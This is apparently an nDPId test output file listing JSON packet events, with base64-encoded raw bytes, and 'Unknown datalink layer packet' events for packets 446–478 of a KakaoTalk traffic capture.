+00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":628913,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/kGyAbE8Oizr12guGVRn4+C\/QvDSkuArKz+3c0nI6tepKuliVrjQz5YIpqnP\/+Vip+lpwYCOfJPu0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":635810,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/4jSAbDGUfqpXg1SapdpmJn3\/AlZt1Y4fyurqwR307rmS+qO2xsZESkpcpMcc37Zjmj\/vbtLGq6YD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":664008,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIIAAEAAQBHaIAoYUrwByQGuKBxaBgBulhSAbDGWfqpfA1SapdobPc3EtoQier+IK2ZdjNWnsZ84udmVSaO7yAtdmzYhuJSQA\/YxRmmeBDde7Mlk35v5rplGaml7GKWaTeEywrAkT6+Vk3vr9T79V2yFP94GyPWwbj+H+GynnLU="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":679572,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/R9KAbDGVfqpbQ1Sapdo0uclqX+oCr1FUb2tLH6KYilNqfDrSh3snzILuzQRFB7tRJ5tJLNTFZrlg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00605{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":702033,"pkt_caplen":221,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":221,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM0AAEAAQBHZ1QoYUrwByQGuKBxaBgC5LLOAbDGXfqpiw1SapdqtG9hJ6O0GnzCSIKgAMiN7QOxKyKQ3vJ2\/9liLPg3EluHo8si7tNcdzrc6NM1Jy\/LvwbdEm5Q5RRorq9wMAiNfPj1Wa\/Fm\/UblJCYKZ4ukGXcy\/7B8WL4gow0rmv1ZUu7XIB1SyxzfA\/KmWpIpyLS0ry6QrrUfpB3WLSLgIa3XtzMfO4NTbL0o1dPiBc2SAWfD0fX3fGzqhzSj6yfQWaq5gE0EsO4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":707740,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/2taAbE8RizsBGguGVRl9h\/h6b2KK8GR8DTelaPT5MmS9zpnhzY4JZJFJLtyCGMrlGYNIOCld7u8d"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":709204,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/uXeAbE8SizsE2guGVRnwSiT40ZGCpAi9K8yHi7pCuEOc4kLegn7dGJHmftrSOnPrVzo58iwalaIe"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":728888,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/\/oiAbE8Pizr5mguGVRkQwFgEe6Vk4MIyllu3k7CWDExESIomRtOAm5x\/k6q7TFIyPTgqKcl6vNaS"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":735663,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/A9SAbE8Qizr9WguGVRmAOyVovnmIBsIDRDTo0m3ZFT2wzMj9YbzUxvwMmKBAqZrX9e6rXiWDd+qj"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":746466,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMsAAEAAQBHZ1woYUrwByQGuKBxaBgC3r1CAbDGYfqpmg1Sapdrv1qIGG4C29n8vATF9GzB7LO3sEdHFq7FDZE5OizI\/RmMu7l5Lrmi1mljcZdp4rFh0s1lfkBkOmbYZ\/H2d9UMrlRT8GS0yseodUJ4l2Yyud0tvN04mK1f8TKfZYXzhSbyZ1UzIu9I1ENEQuuay50VzUPnTnSAeIQM1gEPNs2PYuczq9HMq0lvaFk3Q18t0bqJMoqy3BeDrpiu65lPvQDK8WbII"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":787696,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIIAAEAAHRH8+AHJAa4KGFK8WgQsOABukfqAbDGWfqpfA1SapdobPc3EtoQier+IK2ZdjNWnsZ84udmVSaO7yAtdmzYhuJSQA\/YxRmmeBDde7Mlk35v5rplGaml7GKWaTeEywrAkT6+Vk3vr9T79V2yFP94GyPWwbj+H+GynnLU="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":808203,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/MR2AbE8TizsImguGVRmNyhjCTaABtMPLgoUG9fhbX4W1loS0XZF69altkGfcBdchYENlSiaYl9kF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00605{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":827613,"pkt_caplen":221,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":221,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM0AAEAAHRH8rQHJAa4KGFK8WgQsOAC5KJmAbDGXfqpiw1SapdqtG9hJ6O0GnzCSIKgAMiN7QOxKyKQ3vJ2\/9liLPg3EluHo8si7tNcdzrc6NM1Jy\/LvwbdEm5Q5RRorq9wMAiNfPj1Wa\/Fm\/UblJCYKZ4ukGXcy\/7B8WL4gow0rmv1ZUu7XIB1SyxzfA\/KmWpIpyLS0ry6QrrUfpB3WLSLgIa3XtzMfO4NTbL0o1dPiBc2SAWfD0fX3fGzqhzSj6yfQWaq5gE0EsO4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":838935,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAQBHZ2AoYUrwByQGuKBxaBgC2qieAbDGZfqpqQ1Sapdr1Ly\/aiWDWNG4GmzxPMESt96LtG8KBcngQVuD0nQG7Z9ESokpdj3FekV+Shu6d4mk8bvVsbTmgBLQw+MnvDYZeT87RGYndcOvAIPJCtCGw54HWnU2QWriM7qmtNdOvRU44SxAQTXhxb3i2zQ1rwPBISdH5UywfkShaxDotrjzg\/qCcSNW42kAzv7+r3mPKL3q81noHUGez66LOQkusf3gHerY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":839484,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/3vCAbE8RizsBGguGVRl9h\/h6b2KK8GR8DTelaPT5MmS9zpnhzY4JZJFJLtyCGMrlGYNIOCld7u8d"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":847418,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/vZGAbE8SizsE2guGVRnwSiT40ZGCpAi9K8yHi7pCuEOc4kLegn7dGJHmftrSOnPrVzo58iwalaIe"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":877570,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKsAAEAAQBHZ9woYUrwByQGuKBxaBgCXKVWAbDGafqpuA1SapdpgCCKYlITbl79bAt2BCqfNs8DhU6GPCgc\/A4EYxp9a5yLbk13Tv\/6qo7xgrR9mLJ2iGyWdDJy1ecAbivgfRIeAb3w\/upVAW+zIeqX15V2Q8\/rtDjho8WG4UxNtbqk0pXltVNPA03tArefrw9aI\/3zGlpAC4GCC3krT1SPDw1dPixVZng=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":887488,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMsAAEAAHBH9rwHJAa4KGFK8WgQsOAC3qzaAbDGYfqpmg1Sapdrv1qIGG4C29n8vATF9GzB7LO3sEdHFq7FDZE5OizI\/RmMu7l5Lrmi1mljcZdp4rFh0s1lfkBkOmbYZ\/H2d9UMrlRT8GS0yseodUJ4l2Yyud0tvN04mK1f8TKfZYXzhSbyZ1UzIu9I1ENEQuuay50VzUPnTnSAeIQM1gEPNs2PYuczq9HMq0lvaFk3Q18t0bqJMoqy3BeDrpiu65lPvQDK8WbII"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":907477,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/7uyAbE8UizsMWguGVRkaYt5TTQnMw2+xIEwfheTmGcF909PBUmLIJ\/2ArVjzVbw7sLkbcV6DlF8c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":908576,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/nYuAbE8VizsQGguGVRnAzGprhL5FX\/YfrkuC2WuMlxOoz3iejl\/41RMJb9l4s0jWCi8np7XwydPy"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":927527,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/NTeAbE8TizsImguGVRmNyhjCTaABtMPLgoUG9fhbX4W1loS0XZF69altkGfcBdchYENlSiaYl9kF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":938574,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAQBHZ\/goYUrwByQGuKBxaBgCQrNyAbDGbfqpxw1Sapdr2iSRnuNR9iNSVDYypf6BOpBNC88oFYup0PPY1mL2hizeGeixrEUmy2QQ37Y4dHNLgwZ2bl24l0PmHpBB7gU3Qw+dz30yHaO5Rd5u0YwVuz\/YF+xZFNzg9rnUweGIPe\/5ZaU\/rRhHO34dJTmIw\/mNePecbwcKkm7XXpEgJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":467,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":979163,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGm3+AbDGcfqp1g1SapdoIVx2gEi5a44MJl0odfJRrMA2OGINc\/oVxScJG2gMHQeAAE+bWjbcBw264P4a6o0XFesvkh0XM0t0tNtp0GrSoYOVViOur1CYDCCEfEqiJW8qr2v9nkZiZwU+94emzI6cwE28qXqa49pUgqWqvjnNZYaM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":468,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069176,"pkt_ts_usec":999457,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHRH8sAHJAa4KGFK8WgQsOAC2pg2AbDGZfqpqQ1Sapdr1Ly\/aiWDWNG4GmzxPMESt96LtG8KBcngQVuD0nQG7Z9ESokpdj3FekV+Shu6d4mk8bvVsbTmgBLQw+MnvDYZeT87RGYndcOvAIPJCtCGw54HWnU2QWriM7qmtNdOvRU44SxAQTXhxb3i2zQ1rwPBISdH5UywfkShaxDotrjzg\/qCcSNW42kAzv7+r3mPKL3q81noHUGez66LOQkusf3gHerY="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":469,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":7941,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/8YSAbE8WizsT2guGVRmZDS+LxrkDsBT35q3d90uimW9RVMIf1ysMfxLb6f8Uu4TrRXDUcWT0hwNz"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":470,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":8002,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKsAAEAAHRH8zwHJAa4KGFK8WgQsOACXJTuAbDGafqpuA1SapdpgCCKYlITbl79bAt2BCqfNs8DhU6GPCgc\/A4EYxp9a5yLbk13Tv\/6qo7xgrR9mLJ2iGyWdDJy1ecAbivgfRIeAb3w\/upVAW+zIeqX15V2Q8\/rtDjho8WG4UxNtbqk0pXltVNPA03tArefrw9aI\/3zGlpAC4GCC3krT1SPDw1dPixVZng=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":471,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":9070,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/IeWAbE8XizsXmguGVRlojBCg98V9uX0x6HIFB4oaAb5MYPr2FpTqWfec8rfxGYVOeoNhjJS35BBB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":472,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":35620,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/8waAbE8UizsMWguGVRkaYt5TTQnMw2+xIEwfheTmGcF909PBUmLIJ\/2ArVjzVbw7sLkbcV6DlF8c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":473,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":35865,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/oaWAbE8VizsQGguGVRnAzGprhL5FX\/YfrkuC2WuMlxOoz3iejl\/41RMJb9l4s0jWCi8np7XwydPy"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":474,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":65833,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJYAAEAAQBHaDAoYUrwByQGuKBxaBgCCOBSAbDGdfqp5Q1SapdpsIilFssbm0nktySk7p0D38lUyyXxi\/R2jQ7g\/0q+Kexsh5HvMPKk+LxxQUC23du15ihu0qLZzu3ZcKMcGIqeBhAWgA54W2t3VqMz+\/riuMaMbMQ6HuhIYRVKnYQHchb8ICibV1ATU\/ymPaK0qGQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":475,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00546{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":84998,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHRH81gHJAa4KGFK8WgQsOACQqMKAbDGbfqpxw1Sapdr2iSRnuNR9iNSVDYypf6BOpBNC88oFYup0PPY1mL2hizeGeixrEUmy2QQ37Y4dHNLgwZ2bl24l0PmHpBB7gU3Qw+dz30yHaO5Rd5u0YwVuz\/YF+xZFNzg9rnUweGIPe\/5ZaU\/rRhHO34dJTmIw\/mNePecbwcKkm7XXpEgJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":476,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":108313,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/BZKAbE8YizsbWguGVRl6D7Wdaeo\/x9uJf3Kyl3xHqNQ9eouC7iCBvJVRbRdCrwUGS\/uP3N4eTZ6m"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":477,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00532{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069177,"pkt_ts_usec":108435,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHRH84AHJAa4KGFK8WgQsOACGl2WAbDGcfqp1g1SapdoIVx2gEi5a44MJl0odfJRrMA2OGINc\/oVxScJG2gMHQeAAE+bWjbcBw264P4a6o0XFesvkh0XM0t0tNtp0GrSoYOVViOur1CYDCCEfEqiJW8qr2v9nkZiZwU+94emzI6cwE28qXqa49pUgqWqvjnNZYaM="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":478,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 